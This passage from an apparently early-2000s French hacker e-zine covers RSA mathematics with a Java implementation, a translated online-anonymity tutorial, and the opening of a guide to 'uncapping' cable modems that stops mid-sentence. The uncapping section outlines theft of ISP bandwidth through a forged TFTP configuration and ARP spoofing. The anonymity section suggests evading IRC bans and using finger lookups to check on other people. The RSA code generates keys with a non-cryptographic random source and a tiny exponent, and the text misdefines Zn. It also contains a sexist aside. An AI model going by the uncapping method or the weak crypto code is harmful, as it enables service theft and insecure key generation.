d'ordre fini alors l'ordre de g divise l'ordre de G Preuve : posons n = ordre(g) (càd n est le plus petit entier naturel tel que g^n = e où e est le neutre pour *) L'ensemble { e, g, ..., g^(n-1) } est un sous groupe de G d'ordre n (les savants l'appellent le groupe engendré par g :), donc d'après le théorème de Lagrange n divise l'ordre de G. Prop : a inversible dans Zn <=> pgcd(a,n) = 1 Preuve : se démontre à l'aide de l'ami Bezout : un sens est trivial, l'autre l'est moins (life is unfair) On travaille maintenant dans Z/nZ, que l'on va noter Zn pour économiser votre bande passante (petit rappel pour les idiots, les enfants et les femmes, pour n entier naturel non nul, Zn = { k élt de N | k <= n }) Notons phi la fonction indicatrice d'Euler définie ainsi : pour tout n élt de N*, phi(n) = card({ a élt de N | pgcd(a,n) = 1 }) = card({ a élt de Zn | a inversible dans Zn }) Théorème d'Euler : pour tout a inversible dans Zn, on a : a^phi(n) = 1 mod n Preuve : notons A l'ensemble des éléments inversibles de Zn, on a donc phi(n) = card(A) et (A,*) est un groupe posons p = ordre(A) Soit a élt de A, on sait que ordre(a) divise ordre(A), donc il existe k élt de N tel que p = k*ordre(a) On a donc a^phi(n) = a^p = a^(k*ordre(a)) = (a^ordre(a))^k = 1^k = 1 mod n (attention, on travaille dans Zn donc à chaque fois on applique mod n au résultat d'un calcul) Théorème chinois : si p et q sont deux nombres premiers, alors Zpq et Zp*Zq sont isomorphes preuve : on montre aisément que la fonction f qui à tout élément n de Zpq associe (n mod p, n mod q) est un isomorphisme Extension du théorème d'Euler aux éléments non inversibles de Zn : pour tout x de Zn et pour tout k de N on a x^(1+k*phi(n)) = x preuve : soient p et q deux nombres premiers, et soit n = p*q Soit x élt de Zn, et f la fonction définie dans la preuve du théorème chinois. Si x est inversible dans Zn, alors la propriété découle directement du théorème d'Euler. Supposons maintenant que x n'est pas inversible dans Zn, on a alors pgcd(x,n) != 1 donc il existe d tel que d|x et d|n (si on note | la relation "divise"), donc il existe d tel que d|x et (d|p ou d|q) or p et q premiers donc il existe d tel que d|x et (d=p ou d=q) donc p|x ou q|x de manière exclusive (car si on avait p|x et q|x on aurait x>=pq càd x>=n, ce qui est contradictoire avec la définition de Zn) pour fixer les idées, supposons que q|x, donc x = a*q on a alors f(x)^(1+k*phi(n)) = (x^(1+k*phi(n)) mod p, x^(1+k*phi(n)) mod q) = (x*(x^phi(n))^k mod p, 0) = (x mod p, 0) = f(x) notons f' la fonction réciproque de f, on a alors : f'(f(x)^(1+k*phi(n))) = f'(f(x)) = x et d'autre part, comme f' est un morphisme : f'(f(x)^(1+k*phi(n))) = f'(f(x))^(1+k*phi(n)) = x^(1+k*phi(n)), CQFD Application au RSA : Placons nous dans le cadre du RSA : soient p et q deux nombres premiers, n = p*q soit e un nombre entier strictement inférieur à n soit d un nombre entier tel que e*d = 1 mod (p-1)*(q-1) Observons que phi(n) = phi(p*q) = phi(p)*phi(q) = (p-1)*(q-1) car p et q sont premiers (relisez la définition de la fonction phi si cela ne vous semble pas immédiat) soit m un entier strictement inférieur à n, posons c = m^e mod n et A = c^d mod n il s'agit de vérifier que A = m : A = c^d mod n = (m^e)^d mod n = m^(e*d) mod n = m^(1+k*phi(n)) mod n = m mod n = m car m nombre et nombre -> texte, pensez également que les nombres que vous cryptez doivent être plus petits que n. Si votre texte transformé en nombre est plus grand que n, une solution possible est de décomposer ce nombre en base n et de crypter séparément chacune de ses composantes, je vous laisse vous débrouiller pour retrouver le texte original :) /**********BEGIN RSAEngine.java************/ import java.math.*; import java.util.*; public class RSAEngine { Random r; public final static int PRIME_BITS = 1024; public RSAEngine() { r = new Random(); } public static void main(String[] arg) { RSAEngine engine = new RSAEngine(); System.out.println("generating key pair..."); RSAKeyPair keypair = engine.generateKeyPair(); System.out.println("n = "+keypair.getProduct().toString()); System.out.println("d = "+keypair.getPrivateExponent().toString()); System.out.println("e = "+keypair.getPublicExponent().toString()); System.out.println("key pair generated. Encoding your input"); BigInteger m = new BigInteger(arg[0]); BigInteger c = m.modPow(keypair.getPublicExponent(),keypair.getProduct()); System.out.println("ciphertext = "+c.toString()); BigInteger clear = c.modPow(keypair.getPrivateExponent(),keypair.getProduct()); System.out.println("decoded text : "+clear.toString()); } public RSAKeyPair generateKeyPair() { BigInteger p = generateBigPrime(PRIME_BITS); System.out.println("p = "+p); Thread sleeper = new Thread(); sleeper.start(); try { sleeper.sleep(1000); } catch(InterruptedException e) {} BigInteger q = generateBigPrime(PRIME_BITS); System.out.println("q = "+q); BigInteger n = p.multiply(q); BigInteger e = generatePublicExponent(p,q,n); BigInteger d = generatePrivateExponent(p,q,e); return new RSAKeyPair(new RSAPrivateKey(n,d), new RSAPublicKey(n,e)); } public static BigInteger generateBigPrime(int numbits) { BigInteger big; Random ran = new Random(); while(true) { big = new BigInteger(numbits, ran); if(big.isProbablePrime(7) && big.isProbablePrime(20)) break; } return big; } public BigInteger generatePublicExponent(BigInteger p, BigInteger q, BigInteger n) { BigInteger e; BigInteger prod = (p.subtract(BigInteger.ONE)).multiply(q.subtract(BigInteger.ONE)); while(true) { e = new BigInteger(8, r); if(e.compareTo(n)<0 && gcd(e, prod).equals(BigInteger.ONE)) break; } return e; } public BigInteger generatePrivateExponent(BigInteger p, BigInteger q, BigInteger e) { BigInteger d; BigInteger prod = (p.subtract(BigInteger.ONE)).multiply(q.subtract(BigInteger.ONE)); System.out.println("prod = "+prod); BigInteger i = BigInteger.ONE; while(true) { d = i.multiply(prod).add(BigInteger.ONE); BigInteger[] array = d.divideAndRemainder(e); d = array[0]; if(array[1].equals(BigInteger.ZERO)) break; else i = i.add(BigInteger.ONE); } return d; } public static BigInteger gcd(BigInteger a, BigInteger b) { return b.equals(BigInteger.ZERO)?a:((a.max(b)).equals(a)?gcd(b,a.mod(b)):gcd(b,a)); } } /***********END RSAEngine.java*************/ /**********BEGIN RSAKeyPair.java************/ import java.math.*; public class RSAKeyPair { RSAPrivateKey prv; RSAPublicKey pub; public RSAKeyPair(RSAPrivateKey prv, RSAPublicKey pub) { this.prv = prv; this.pub = pub; if(!pub.getProduct().equals(prv.getProduct())) throw new IllegalArgumentException("invalid key pair : different n values"); } public RSAPrivateKey getPrivateKey() { return prv; } public RSAPublicKey getPublicKey() { return pub; } public BigInteger getPublicExponent() { return pub.getPublicExponent(); } public BigInteger getProduct() { return pub.getProduct(); } public BigInteger getPrivateExponent() { return prv.getPrivateExponent(); } public void setPublicExponent(BigInteger e) { pub.setPublicExponent(e); } public void setProduct(BigInteger n) { pub.setProduct(n); } public void setPrivateExponent(BigInteger d) { prv.setPrivateExponent(d); } } /***********END RSAKeyPair.java*************/ /**********BEGIN RSAKey.java************/ public class RSAKey {} /***********END RSAKey.java*************/ /**********BEGIN RSAPrivateKey.java************/ import java.math.*; public class RSAPrivateKey extends RSAKey { private BigInteger n, d; RSAPrivateKey(BigInteger n, BigInteger d) { this.n = n; this.d = d; } public BigInteger getPrivateExponent() { return d; } public BigInteger getProduct() { return n; } public void setPrivateExponent(BigInteger d) { this.d = d; } public void setProduct(BigInteger n) { this.n = n; } public String toString() { return "("+n.toString()+","+d.toString()+");"; } } /***********END RSAPrivateKey.java*************/ /**********BEGIN RSAPublicKey.java************/ import java.math.*; public class RSAPublicKey extends RSAKey { private BigInteger n, e; RSAPublicKey(BigInteger n, BigInteger e) { this.n = n; this.e = e; } public BigInteger getPublicExponent() { return e; } public BigInteger getProduct() { return n; } public void setPublicExponent(BigInteger e) { this.e = e; } public void setProduct(BigInteger n) { this.n = n; } public String toString() { return "("+n.toString()+","+e.toString()+");"; } } /***********END RSAPublicKey.java*************/ APPENDICE II. SOURCES ET BIBLIOGRAPHIE http://www.parodie.com/humpich http://dslab.csie.ncu.edu.tw/~lucas/rsamath.HTM http://nuts.citeglobe.com/indexrsa.htm http://www.rsasecurity.com/rsalabs/faq/ http://www.les-mathematiques.net PC et cartes à puces - Patrick Gueulle Cartes à puces - Patrick Gueulle Cours de cryptographie - Gilles Zémor Explications de wolf (wolf@madchat.org) et de mon prof de maths que je ne vais pas citer pour lui éviter des problèmes ;) Le mot de l'ami Schneier : "You see smart cards are used as credit cards all over Europe, but not in the United States. Why ? Because of the phone system. To combat fraud, US credit cards went to an online verification system. When you buy something, the merchant checks the validity of your card (and the availability of your credit) via modem. In Europe 15 years ago that type of system would not have worked in every country. Phones were expensive; many stores didn't even have one, and the average wait time for installation in Italy was one or two years. Phone calls were expensive and the connections were unreliable. Fielding an online system in Europe was expensive, so the credit card industry went with smart cards to give some measure of security for the transaction. It wasn't that smart cards were more secure than magnetic stripe cards, it was that the US solution to the problem of fraud - online verification - was less practical. Some intense lobbying by the European smart card vendors (Bull SA, Gemplus, and Schlumberger) didn't hurt, either." Secrets & Lies maddany@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ____________________________________ _ -7- `^°*;:,.> Anonymat <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯hal2001 / tobozo¯¯¯¯¯¯¯¯\___________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 11/8/2002 Mon nom est personne ==================== <=============================================================================> Texte Original : The Anonymity Tutorial (blacksun.box.sk) 1.5 (22 Mars 2000) Ce document : version 1.5.FR Juillet 2002 Traduction, ré-écriture : hal2001, tobozo <=============================================================================> Dixlaimeur ========== Nous n'encourageons aucun genre d'activité illégale. Si vous croyez que violer la loi est une bonne maniere d'impressionner son prochain, arretez tout de suite la lecture de ce document. Il n'y a rien d'impressionnant a etre une cyber-racaille. Ceci dit vu la profondeur technique de ce document (issue de la version originale) il serait carrement etonnant que les infos qui s'y trouvent puissent servir a quelque activité illégale ;-)) Table des matieres ================== L'anonymat * L'anonymat sur le web, une utopie ? * Et quand bien meme a quoi ca sert d'etre anonyme ? * Ok, je vois le delire. Anonymisez moi. Proxy, Proxies * C'est quoi un proxy ? * Qui sont les proxy-net (proxies public) ? * Ou puis-je trouver des listes de proxies publics ? * Sont-elles bonnes pour autre chose que l'anonymat ? * Et comment ca marche ? * C'est quoi Wingate ? * En quoi peut il m'anonymiser? * Wingate a l'air kool. Je veux l'installer sur mon systeme. Comment faire pour le transformer en ruche a anonymat ? * Comment des clients IRC ou ICQ peuvent-ils s'en servir ? Remailer Anonyme * Un remailer anonyme c'est quoi ? * Comment s'en servir pour etre encore plus anonyme ? * Quel est l'interet d'heberger un tel systeme, c'est quoi l'astuce ? Chiffrage * Pourquoi devrais-je chiffrer mon courrier ? * Comment puis-je chiffrer mon courrier ? Les Cookies * C'est quoi un cookie ? * Cela peut-il mettre en danger mon intimité ? Les fichiers .chk * C'est quoi un fichier .chk ? * Peuvent-ils mettre en danger mon intimité ? L'anonymiseur * C'est quoi un anonymiseur ? * Comment s'inscrire ? Ou puis-je en apprendre plus sur l'anonymat? * Adresses Utiles. Annexe A: En utilisant Altavista comme proxy * comment me servir de Babelfish pour m'anonymiser ? Annexe B: Le mode +x * astuce IRC Annexe C: Le mode parano * solution utlime L'Anonymat ========== Que vous le réalisiez ou pas, l'internet n'est pas si anonyme que vous pourriez le penser. Voici quelques exemples: 1) Vous visitez un site web. Les propriétaires du serveur web peuvent découvrir les informations suivantes (et parfois bien plus) a votre sujet : 1. Votre ADRESSE IP. 2. Votre hostname. 3. Votre continent. 4. Votre pays. 5. Votre ville. 6. Votre brouteur web. 7. Votre systeme d'exploitation. 8. Votre résolution d'écran. 9. Vos couleurs d'écran. 10. Le URL précédemment visitées. 11. Votre FAI. Et ce n'est qu'un petit bout de l'iceberg. 2) Vous pensez, en étant relié a un réseau d'IRC lors d'un brin de causette avec vos amis, que tout ce qu'on peut trouver comme information sur vous c'est votre nick, qu'on ne peut vous reconnaitre que si l'on est dans le meme channel que vous ? Eh bien c'est faux. Voici quelques exemples de ce que vous pouvez trouver en connaissant seulement le pseudo d'une personne (dans les conditions les plus optimales): 1. Votre vrai nom. 2. Votre addresse email. 3. Votre ADRESSE IP. 4. Votre hostname. 5. Votre FAI. 6. Votre continent. 7. Votre pays. 8. Votre ville. Et parfois beaucoup plus.... Il en est de meme pour les jeux en ligne qui permettent a des joueurs de regarder les adresses IP des autres joueurs, la limite des informations récuperables est inversement proportionnelle a la négligence d'un utilisateur a protéger son anonymat. 3) Supposons que mon nom est Tahar Tampion, et mon adresse email est ttampion@fournisseur.relou.fr Il est extremement facile de deviner d'apres cela que la premiere lettre de mon prénom est T et que mon dernier nom est Tampion, mais pas forcément... Certains FAI partagent la totalité de leurs listes avec des services d'annuaires internet. Ca veut dire que les gens peuvent aller sur bigfoot.com ou whowhere.com, taper "ttampion" ou chercher un "Tampion" sur la liste des utilisateurs du FAI fournisseur.relou.fr et ainsi découvrir le prénom "Tahar". Mais il est également possible d'employer ces annuaires internet pour 1001 autres usages. Testez donc sur whowhere.com si votre pseudo / nom prénom sont pistables. Note: vous pouvez eventuellement demander a vous faire supprimer de leur liste. 4) Certain FAI laissent tourner un finger daemon. Un daemon est un programme qui attend des connexions entrantes sur un ou plusieurs ports spécifiques. Le finger daemon est un daemon qui attend des connexions sur le port 79. Une fois connecté, vous devez spécifier un nom d'utilisateur existant sur le systeme et vous récuperez des tonnes d'infos sur l'utilisateur en question. Par exemple : en réalisant que mon FAI laissait tourner des finger daemon sur leurs serveurs, j'ai tout fait pour les forcer a le désactiver car c'était un manque de respect de la vie privée. Maintenant, supposez que vous ne sachiez rien au sujet de ttampion@fournisseur.relou.fr a part l'adresse email. La premiere chose que vous devriez faire est d'aller a fournisseur.relou.fr sur le port 79 (en vous armant de beaucoup d'espoir ;-) Si le finger daemon est toujours la, il est possible de recuperer les infos suivantes en tapant le nom d'utilisateur ttampion : 1. Le vrai nom. 2. La derniere fois ou j'étais en ligne. 3. Si ttampion est en ligne en ce moment, depuis combien de temps. 4. Si ttampion a du courrier ou pas. Et parfois c'est bien plus (certains finger daemon pourraient meme donner des informations comme l'adresse du domicile et le numéro de téléphone). Sans tenir compte des utilisations évidentes (trouver le vrai nom et toute autre information privée d'une personne), vous pouvez employer cette information pour différents intérets comme: 1. La plupart des messageries instantanées, telles qu'ICQ, AIM, YAHOO et MSN, vous permettent d'ajouter des personnes a une "liste invisible", ainsi ces personnes ne pourront pas savoir si vous etes en ligne ou pas (ou vous verront hors ligne). S'ils ont votre adresse email, et que votre FAI laisse tourner un finger daemon, ils peuvent savoir si vous etes vraiment offline ou si vous etes juste en train d'essayer de les duper. 2. Votre ami vous a promis de l'aide sur le net, mais quand vous allez finalement en ligne solliciter sa présence il dit qu'il vient juste de rentrer du boulot et de se connecter. Un petit coup de finger daemon sur son ISP vous permettrait de vérifier quand il s'est réellement connecté. Ndt : les finger daemons sont de plus en plus rares, mais comme les indiscrétions des FAI et des spammeurs s'étendent (LDAP, Mailing listes, Bases de données de clients, etc) le principe reste le meme... On va expliquer ici comment empecher de trouver des informations sur votre personne (il y aura toujours de nouvelles astuces, mais le fait de bloquer les plus basiques et fondamentales de celles-ci permettra de passer outre la plupart des attaques et rendra plus dure l'acquisition d'informations par les plus expérimentés). Si le sujet vous intéresse au point de vouloir passer a la pratique, commencez par étudier l'autre coté du probleme en lisant le tutorial "Know your enemy" qui explique comment rassembler un maximum d'informations sur quelqu'un en utilisant les ressources du net. Les proxies =========== Les proxies ont été créés pour satisfaire un besoin d'accélération de la circulation des données sur Internet. Voici un exemple de comment ils peuvent fonctionner : Vous essayez de vous relier a un serveur qui est de l'autre coté du globe, a priori la connexion ne devrait pas etre tres rapide vu la distance. Vos demandes de HTTP sont envoyées a votre serveur proxy, généralement situé au Q.G. de votre FAI, et surtout (sauf dans le cas d'AOL) plus proche de vous que le serveur web distant vers lequel la requete HTTP est destinée. Le proxy controle d'abord si oui ou non un des utilisateurs a récemment consulté ce site web (controle du cache) et peut agir de deux facons selon le résultat : - Si c'est le cas, une copie des documents consultés existe déja localement (en cache) sur un des serveurs proxy du FAI. Alors le serveur proxy ouvre une connexion vers le serveur web distant mais seulement pour controler si la version locale du (ou des) document(s) qu'il possede n'est pas périmée. Le but étant de comparer la taille du fichier, sa signature, ou sa date d'expiration s'il y a lieu avec la copie "cachée" qu'il possede déja. Si la comparaison montre que les deux fichiers sont identiques, il vous enverra sa version locale qui arrivera beaucoup plus vite que la version distante, de ce fait accélérant le transfer. - Si ca n'est pas le cas (aucun utilisateur n'a récemment visité ce site), le proxy téléchargera les dossiers demandés par lui-meme et puis vous les transmettra apres les avoir mis en copie locale (mise en cache). Parce qu'ils prennent en charge toutes les requetes HTTP, les proxies peuvent également etre utilisés pour s'anonymiser en surfant sur le net. La plupart des FAI ont un proxy, il y a donc de grandes chances pour que le votre soit egalement dans ce cas. Vous pouvez vérifier en posant la question au service technique ou en vous livrant a quelques recherches via leur site web. Ceci dit les proxies des FAI peuvent également engendrer certains problemes : 1. tous les FAI n'ont pas les memes systemes de proxies. 2. Le propriétaire de site web peut quand meme savoir quel FAI vous utilisez et ou vous habitez, puisque ces proxies sont privés et peuvent seulement etre utilisés par des membres de comptes chez ce meme FAI. Pour de tels cas, il y a une solution : les proxies publics. Vous pouvez trouver une liste de proxies publics un peu partout sur le net. Contrairement a celui de votre FAI, ceux-ci ne sont pas obligatoirement censés rendre le transfer plus rapide (c'est meme generalement plus lent). Voici trois bonnes adresses qui constituent un bon point de départ : 1. http://madchat.org 2. http://tools.rosinstrument.com 3. http://www.theargon.com Il ne reste plus qu'a configurer votre brouteur web pour qu'il utilise un de ces serveurs proxy (la méthode peut varier selon les différents browsers). Note: quelques serveurs proxy prendront également en charge les sessions ftp, le telnet, les sockets (certains étant meme spécialisés). Wingate ======= Wingate est un programme qui est employé pour transformer un PC (ayant comme systeme Windows 9x ou NT) en un serveur proxy. Voici plusieurs raisons pour lesquelles on voudrait installer un tel programme et transformer son ordinateur en passoir... euh.. en proxy: 1. Vouloir installer un proxy pour devenir FAI. 2. Transformer sa machine perso en proxy public. 3. Donner l'acces internet a un groupe d'ordinateurs d'un reseau local alors que seulement une machine peut etre directement connectée a l'internet (ex: connexion modem ADSL/Cable). Dans ce dernier cas de figure toutes les machines du reseau local auront comme parametres internet d'utiliser la machine connectée au FAI comme serveur proxy. De cette facon toutes les machines du reseau local verront leurs requetes HTTP et FTP relayées par le proxy au travers d'une seule connexion, d'un seul modem ou d'un seul compte internet. Le probleme avec Wingate ... hum ... comment dire .. c'est du vrai gruyere hehe En fait tout le monde peut s'y relier en se connectant sur le port 1080 (par défaut) de l'intérieur comme de l'extérieur, il existe meme des scanners de wingate (voir hackoff12). Bref utilisez plutot Sygate ou Winproxy, ils font la meme chose mais sont bien moins bridés et permettent de choisir de ne pas etre un proxy pour tout le monde... Ces programmes peuvent anonymiser a peu pres n'importe quoi, ainsi tout programme pouvant etre utilisé derriere un firewall ou un proxy sock (la plupart des client IRC, Chat ou web browsers) se fera un plaisir d'accomplir la lourde tache de routage si on sait lui fournir les parametres appropriés (adresse IP / hostname / port). Wingate peut également etre employé pour entrer dans des channels IRC malgré le fait d'avoir été banni (en truquant votre IP ;-). AVERTISSEMENT: quelques réseaux IRC sont équipés les bots qui peuvent kicker automatiquement tout utilisateur d'un Wingate. Ces bots essayent de se connecter aléatoirement aux utilisateurs sur le port 1080 a la recherche d'une connexion potentiellement relayante. Vous pouvez trouver des listes de proxies a l'adresse suivante : http://tools.rosinstrument.com/proxy/ Il existe également des tonnes de scanners de Wingate (voir google, mot-clé wingatescan) qui peuvent scanner des sous-réseaux entiers. Ceci dit ca prend quand meme un certain temps, sans oublier que ca peut rendre votre FAI nerveux ou soupconneux.. Il est plus approprié de se procurer une liste que de se la constituer soi meme. Les Remailers Anonymes ====================== On a Précédemment démontré ce qu'une personne avec tres peu de connaissances peut découvrir a votre sujet rien qu'a partir d'une adresse email. Il est évident que pour garder votre intimité, vous devrez ouvrir un compte email gratuit (ex: softhome.net, yahoo.co.uk, bigfoot.com, etc.. '). Et si vous aviez une adresse email gratuite spécialement prévue pour rerouter le courrier sur votre véritable adresse email personnelle tout en gardant le silence sur vos informations personnelles ? On appelle ca un remailer anonyme. La plupart d'entre eux sont gratuits et vivent de contributions ou de sponsors/bannieres de pub. Ils sont malheureusement associés au spam qui est la rancon a payer pour son anonymat. Une petite liste de remailers est disponible sur ce site : http://www.anonymat.org Voici un bon exemple pour un Remailer anonyme: Commencez par vous rendre sur http://riot.eu.org/anon/remap.html pour trouver un remailer et ouvrez-y un compte gratuit. Une fois enregistré, envoyez un email a l'adresse du robot (ex : robot@anonnyme.isp.eu.org sans sujet avec le contenu suivant: user: votre nom d'utilisateur pass: votre mot de passe realaddr: l'adresse email du destinataire realsubj: le sujet du courrier Exemple: si je veux envoyer un courrier anonyme avec le contenu suivant a bgates@microsotte.com : Sujet: ANONYMAT ROULAIZE!! Salut. Mon nom est personne, qui suis-je et comment me tracesses-tu ? Il me faudra forger mon courrier comme suit : user: user pass: pass realaddr: bgates@microsotte.com realsubj: ANONYMAT ROULAIZE!! Salut. Mon nom est personne, qui suis-je et comment me tracesses-tu ? et l'envoyer a robot@anonnyme.isp.eu.org (sans sujet) Je recevrai par email un avis d'accusé de réception d'anonnyme.isp.eu.org des que mon message aura été livré. Une fois que le destinataire répondra a ce mail, le message me reviendra naturellement. Note : certains remailers anonymes en ligne n'offrent pas la possibilité de recevoir une réponse. Le Chiffrage ============ Tout le monde peut lire votre courrier (potentiellement). La cause peut etre un script kiddie qui a piraté votre compte hotmail, un cookiller (coincé dans un courrier forgé par le meme script kiddie) qui a balancé vos droits sur le compte POP, un glitch, un routeur mal protégé, un FAI peu scrupuleux, etc, etc.. Si vous ne voulez pas que d'autres lisent votre email, utilisez le chiffrement GPG. Ceux qui utilisent GPG peuvent générer leur propre clé. Une clef GPG peut se voir comme des tonnes de caracteres (chiffres, symboles ou lettres, majuscules ou minuscules) mis bout a bout. Une fois la clé générée, il devient possible d'envoyer des courriers chiffrés. Le correspondant peut utiliser la clé pour déchiffrer le message et en lire clairement le contenu. Plus d'infos sur http://www.gnupg.org Note : le chiffrage GPG est un gros chiffrage et peut seulement etre cassé avec des tres_tres gros ordinateurs. Plus la clé générée est longue, et plus il sera difficile d'en casser le chiffrage. Les cookies =========== Avez-vous remarqué comme tous ces site webs deviennent soudainement tres intelligents (et surtout indiscrets) ? Ils se mettent a retenir votre pseudo, connaissent la date de votre derniere visite, peuvent enregistrer votre mot de passe, la liste de vos articles dans un caddie, etc, etc Eh bien tout ca c'est une histoire de biscuits, plus vulgairement appelés cookies. Les cookies sont de petits fichiers qu'un site web peut faire créer par votre brouteur pour lui permettre d'y stocker des informations temporaires qu'il pourra mettre a disposition de ce meme site lors d'une requete ulterieure. Un site web peut y stocker votre mot de passe (encrypté dans le meilleur des cas), en fait il peut y stocker a peu pres n'importe quelle autre information qui ne depasse pas un taille raisonnable. Sur une machine partagée, il est judicieux de supprimer régulierement les cookies dont vous n'avez pas essentiellement besoin si vous ne voulez pas que les autres utilisateurs puissent accéder a des informations sur les sites que vous avez visités, les articles que vous avez achetés, les emails que vous avez lu, etc, etc. Sur les machinez X, les cookies sont habituellement stockés quelque part dans votre rep local (ex: /home/tobozo ou /usr/tobozo ou /usr/local/tobozo). Sur zindows et mac, les cookies sont stockés dans le meme sous-répertoire que le dossier ou se trouve le brouteur (ou dans un dossier spécifique selon les version des OS). Note 1: vous pouvez configurer votre brouteur afin qu'il vous demande avant d'accepter un cookie. Un rapide coup d'oeil dans le menu des préférences vous permettra de trouver cette option (qui peut varier selon les versions). Note 2: si vous etes dans un cybercafé ou une université, n'enregistrez aucun cookie, car sinon d'autres personnes seront en mesure d'y accéder et de s'en servir, regarderont vos cookies, posteront de divers site webs grace a vos mots de passe, votre pseudo, votre numéro de carte de crédit. Il faut savoir que la plupart de ces sites web exigeront de votre brouteur qu'il accepte les cookies avant d'en autoriser l'acces. En outre, il est également recommandé de prendre garde a l'historique de vos visites, autant qu'a votre fichier perso preferences.js parce qu'ils peuvent renseigner sur vos habitudes de lecture (l'age du capitaine, ou vous avez été, etc.. '). Les fichiers .chk? ================== Saviez vous que tout redémarrage rapide de zindows 9x génere un fichier appelé FILE0001.chk, FILE0002.chk etc.. '(habituellement trouvé sur: c ). Vous seriez stupéfaits de voir combien d'information vous pouvez trouver dans ces fichiers! Supprimez-les AUSSITÔT QUE POSSIBLE! L'Anonymizer? ============= L'Anonymizer est un service d'Internet que vous aide a mieux vous anonymizer. L'adresse du site de référence en anonyming est www.anonymizer.com mais sous le poids de la demande il ont été obligés (!) de rendre leurs services payants... Nombreux sont les autres services d'anonymizing gratuit (si la force est avec vous) mais courte est leur durée de vie. L'inscription peut etre gratuite ou payante selon le niveau d'anonymité recherché et la disponibilité de ces services. Ou puis-je en savoir plus sur l'Anonymat? ========================================= Les URLs utiles: http://www.google.fr http://www.gnupg.org http://www.anonymat.org http://www.bugbrother.com http://anonymizer.secuser.com http://anonymity.tuxfamily.org Annexe A: Utilisation d'Altavista comme proxy ========= Allez directement a l'URL suivante: http://babel.altavista.com/tr? Vous pouvez demander a babelfish de traduire des pages pour vous, mais vous pouvez également employer ce site comme proxy ;-)) Le script de traduction du moteur cgi d'Altavista récupere la page pour vous. Annexe B: Le mode +X ========= Sur IRC, il est possible de se mettre en mode +X en tapant '/pseudo +x. Ceci indique au serveur IRC de masquer votre IP, ainsi quand d'autres essayent /WHOIS ou /DNS sur vous, ils ne pourront pas obtenir votre IP (au pire ils obtiendront une IP partielle). Ceci marchera seulement sur quelques serveurs, mais sur IRC, on recommande d'employer cette option. En outre, il y a une maniere de détourner ceci. En créant simplement une connexion DCC avec quelqu'un d'autre (dialogue ou transfer de fichier en DCC), avec un 'netstat 'en ligne de commande (ou sous dos) on peut facilement visualiser l'ip dans la liste des connexions ouvertes. Annexe C: Le mode parano ========= N'utilisez pas l'internet comme moyen de communication directe. Cela implique de jeter a la corbeille tout programme de messagerie en temps réel (y compris IRC), de n'utiliser que des clients mail en mode texte, d'etre son propre serveur de courrier et de se relayer sur des remailers anonymes. Surfez en utilisant des proxies en chaine, fuyez les sites qui obligent a accepter les cookies, ne faites confiance a personne, meme pas a vous meme. tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ____________________________________ _ -8- `^°*;:,.> Uncapping DOCSIS <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯¯tobozo¯¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 16/6/2002 Dimanche 16 juin 2002, l3:37 Cette doc est le fruit de recherches personnelles ayant pour résultat un recoupement d'informations provenant de plusieurs sources (forum, email, newsgroups, papier) et dans plusieurs langues (anglais, allemand, polonais, russe). C'est aussi un nid a phrases biscornues (comme la précédente) n'ayant pour but que de forcer le lecteur a relire au moins deux fois. Les motivations qui ont poussé les recherches et la traduction sont le manque de centralisation des données concernant les informations recherchées dans le cadre de la réponse a la question initialement posée : "Est ce possible d'Uncapper (Déplomber) un modem cable ?" et dont la réponse n'est malheureusement pas 42 ;-(( Il se peut donc que certaines informations soient erronées ou périmées. Un récapitulatif des adresses internet citées est disponible dans l'annexe. Tout commentaire sur les eventuelles erreurs recopiées (ou insérées) est bienvenu du moment qu'il n'est pas trop flatteur (dixit moliere). 1) Petit tour d'horizon 2) Les faits 3) Les méthodes 4) Cas pratiques 5) Infos dans le desordre 6) Annexe 1) Petit tour d'horizon ----------------------- Le Déplombage de MC (CM Uncapping) fait référence au concept d'augmenter la largeur la bande passante des modem cable (MC), généralement limités par les FAI qui les imposent. Le bricolage consiste a faire sauter ces limites afin d'obtenir une qualité de services supérieure a celle pour laquelle le modem cable (MC) a été configuré. Certains accros a la bande passante raffolent de ce genre de bidouille car cela leur permet d'augmenter la vitesse de leur modem cable (MC) et de satisfaire ainsi leur soif grandissante de traffic, mais il s'agit evidemment d'un vol de services et cela peut avoir des conséquences tres déplaisantes (larval stage, 911, see STORMS, no precipitations) comme la résiliation sans préavis de l'abonnement voire meme des poursuites judiciaires. 2) Les faits ------------ DOCSIS : Data Over Cable Service Interface Specification Le standard DOCSIS spécifie en détails comment les Modem Cable sont supposés fonctionner. Quelques documents intéréssants sur le sujet peuvent etre trouvés a ces adresses : http://www.gi.com/noflash/docsis.html http://www.cablemodem.com/documents.html http://www.ietf.org/proceedings/98mar/slides/ipcdn-fijolek/index.htm 3) Les méthodes --------------- Si on se fie aux rumeurs et aux posts anonymes, les methodes sont myriades. Beaucoup ont l'air de confondre les modem cable est les modems DSL, pourtant différents par bien des aspects, et pourtant les methodes ne sont pas si éloignées. Donc ce document ne traite PAS les cas des modems ADSL/DSL. TFTP **** La méthode proposée est de monter un fichier de config DOCSIS sur un serveur TFTP connecté du coté ethernet sur le MC et de le duper en le forcant a lire ce fichier de l'interieur du reseau ethernet et non de l'exterieur du coté cable. Toute la méthode détaillée (uniquement sur windows2000) est dispo sur un site qui change souvent d'hebergeur : http://www.surfboardhack.com Résumé : TFTP est un protocole qui permet au MC d'aller chercher sa configuration sur un serveur du FAI au moment du démarrage. Un petit coup de spoofing ARP suffit a faire croire au MC que la machine locale est celle du serveur TFTP du FAI. Dans les specifications DOCSIS, un modem n'est pas censé pouvoir faire ca, mais si on 